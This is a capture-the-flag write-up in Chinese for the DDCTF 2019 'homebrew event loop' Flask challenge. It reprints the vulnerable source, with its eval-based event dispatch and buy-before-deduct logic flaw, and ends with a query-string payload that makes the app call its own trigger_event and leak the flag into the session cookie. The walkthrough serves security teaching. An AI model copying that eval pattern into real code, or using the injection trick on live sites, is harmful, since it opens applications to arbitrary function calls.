[DDCTF 2019]homebrew event loop
代码审计
from flask import Flask, session, request, Response
import urllib
import urllib.parse
app = Flask(__name__)
app.secret_key = '*********************' # censored
url_prefix = '/d5afe1f66147e857'
def FLAG():
return '*********************' # censored
def trigger_event(event):
session['log'].append(event)
if len(session['log']) > 5:
session['log'] = session['log'][-5:]
if type(event) == type([]):
request.event_queue += event
else:
request.event_queue.append(event)
def get_mid_str(haystack, prefix, postfix=None):
haystack = haystack[haystack.find(prefix)+len(prefix):]
if postfix is not None:
haystack = haystack[:haystack.find(postfix)]
return haystack
class RollBackException(Exception):
pass
def execute_event_loop():
valid_event_chars = set(
'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')
resp = None
while len(request.event_queue) > 0:
# `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"
event = request.event_queue[0]
request.event_queue = request.event_queue[1:]
if not event.startswith(('action:', 'func:')):
continue
for c in event:
if c not in valid_event_chars:
break
else:
is_action = event[0] == 'a'
action = get_mid_str(event, ':', ';')
args = get_mid_str(event, action+';').split('#')
try:
event_handler = eval(
action + ('_handler' if is_action else '_function'))
ret_val = event_handler(args)
except RollBackException:
if resp is None:
resp = ''
resp += 'ERROR! All transactions have been cancelled. <br />'
resp += '<a href="./?action:view;index">Go back to index.html</a><br />'
session['num_items'] = request.prev_session['num_items']
session['points'] = request.prev_session['points']
break
except Exception as e:
if resp is None:
resp = ''
# resp += str(e) # only for debugging
continue
if ret_val is not None:
if resp is None:
resp = ret_val
else:
resp += ret_val
if resp is None or resp == '':
resp = ('404 NOT FOUND', 404)
session.modified = True
return resp
@app.route(url_prefix+'/')
def entry_point():
querystring = urllib.parse.unquote(request.query_string)
request.event_queue = []
if querystring == '' or ( not querystring.startswith('action:')) or len(querystring) > 100:
querystring = 'action:index;False#False'
if 'num_items' not in session:
session['num_items'] = 0
session['points'] = 3
session['log'] = []
request.prev_session = dict(session)
trigger_event(querystring)
return execute_event_loop()
# handlers/functions below --------------------------------------
def view_handler(args):
page = args[0]
html = ''
html += '[INFO] you have {} diamonds, {} points now.<br />'.format(
session['num_items'], session['points'])
if page == 'index':
html += '<a href="./?action:index;True%23False">View source code</a><br />'
html += '<a href="./?action:view;shop">Go to e-shop</a><br />'
html += '<a href="./?action:view;reset">Reset</a><br />'
elif page == 'shop':
html += '<a href="./?action:buy;1">Buy a diamond (1 point)</a><br />'
elif page == 'reset':
del session['num_items']
html += 'Session reset.<br />'
html += '<a href="./?action:view;index">Go back to index.html</a><br />'
return html
def index_handler(args):
bool_show_source = str(args[0])
bool_download_source = str(args[1])
if bool_show_source == 'True':
source = open('eventLoop.py', 'r')
html = ''
if bool_download_source != 'True':
html += '<a href="./?action:index;True%23True">Download this .py file</a><br />'
html += '<a href="./?action:view;index">Go back to index.html</a><br />'
for line in source:
if bool_download_source != 'True':
html += line.replace('&', '&').replace('\t', ' '*4).replace(
' ', ' ').replace('<', '<').replace('>', '>').replace('\n', '<br />')
else:
html += line
source.close()
if bool_download_source == 'True':
headers = {}
headers['Content-Type'] = 'text/plain'
headers['Content-Disposition'] = 'attachment; filename=serve.py'
return Response(html, headers=headers)
else:
return html
else:
trigger_event('action:view;index')
def buy_handler(args):
num_items = int(args[0])
if num_items <= 0:
return 'invalid number({}) of diamonds to buy<br />'.format(args[0])
session['num_items'] += num_items
trigger_event(['func:consume_point;{}'.format(
num_items), 'action:view;index'])
def consume_point_function(args):
point_to_consume = int(args[0])
if session['points'] < point_to_consume:
raise RollBackException()
session['points'] -= point_to_consume
def show_flag_function(args):
flag = args[0]
# return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it.
return 'You naughty boy! ;) <br />'
def get_flag_handler(args):
if session['num_items'] >= 5:
# show_flag_function has been disabled, no worries
trigger_event('func:show_flag;' + FLAG())
trigger_event('action:view;index')
if __name__ == '__main__':
app.run(debug=True, host='0.0.0.0')
代码实在太长了，最好是先从flag开始分析
def get_flag_handler(args):
if session['num_items'] >= 5:
# show_flag_function has been disabled, no worries
trigger_event('func:show_flag;' + FLAG())
trigger_event('action:view;index')
想要拿到flag需要num_items>=5
然后在buy_handler可以增加数字
def buy_handler(args):
num_items = int(args[0])
if num_items <= 0:
return 'invalid number({}) of diamonds to buy<br />'.format(args[0])
session['num_items'] += num_items
trigger_event(['func:consume_point;{}'.format(
num_items), 'action:view;index'])
可以看到先+=num_items
然后执行consume操作
def consume_point_function(args):
point_to_consume = int(args[0])
if session['points'] < point_to_consume:
raise RollBackException()
session['points'] -= point_to_consume
这种购买类的一般都存在购买的逻辑漏洞
trigger_event就是加入进程队列
def trigger_event(event):
session['log'].append(event)
if len(session['log']) > 5:
session['log'] = session['log'][-5:]
if type(event) == type([]):
request.event_queue += event
else:
request.event_queue.append(event)
可以直接传数组进去，这样不就直接就能多次执行了吗？我们执行一次买钻石，然后执行get_flag_handler就好了
再看看execute_event_loop函数
def execute_event_loop():
valid_event_chars = set(
'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')
resp = None
while len(request.event_queue) > 0:
# `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"
event = request.event_queue[0]
request.event_queue = request.event_queue[1:]
if not event.startswith(('action:', 'func:')):
continue
for c in event:
if c not in valid_event_chars:
break
else:
is_action = event[0] == 'a'
action = get_mid_str(event, ':', ';')
args = get_mid_str(event, action+';').split('#')
try:
event_handler = eval(
action + ('_handler' if is_action else '_function'))
ret_val = event_handler(args)
调用函数的逻辑，每次取队列中的第一个元素event = request.event_queue[0]
action:的话自动加_handler；func:的话自动加_function
想法很好但是现实很骨感，我们并不能传入数组给trigger_event
后端没有代码实现让我们传入数组
trigger_event函数只能执行一次且我们无法传入数组
那如果我们调用trigger_event 自己呢，不就可以多次调用函数了吗
所以这里其实就是给我们的提示
我们传入?action:trigger_event:%23;action:buy;5%23action:get_flag;
使用#号来绕过后缀拼接
然后用工具解密cookie就拿到flag了，这里用在线网站解不了
标签：BUUCTF,num,items,args,DDCTF,session,2019,action,event From： https://www.cnblogs.com/m1xian/p/18279348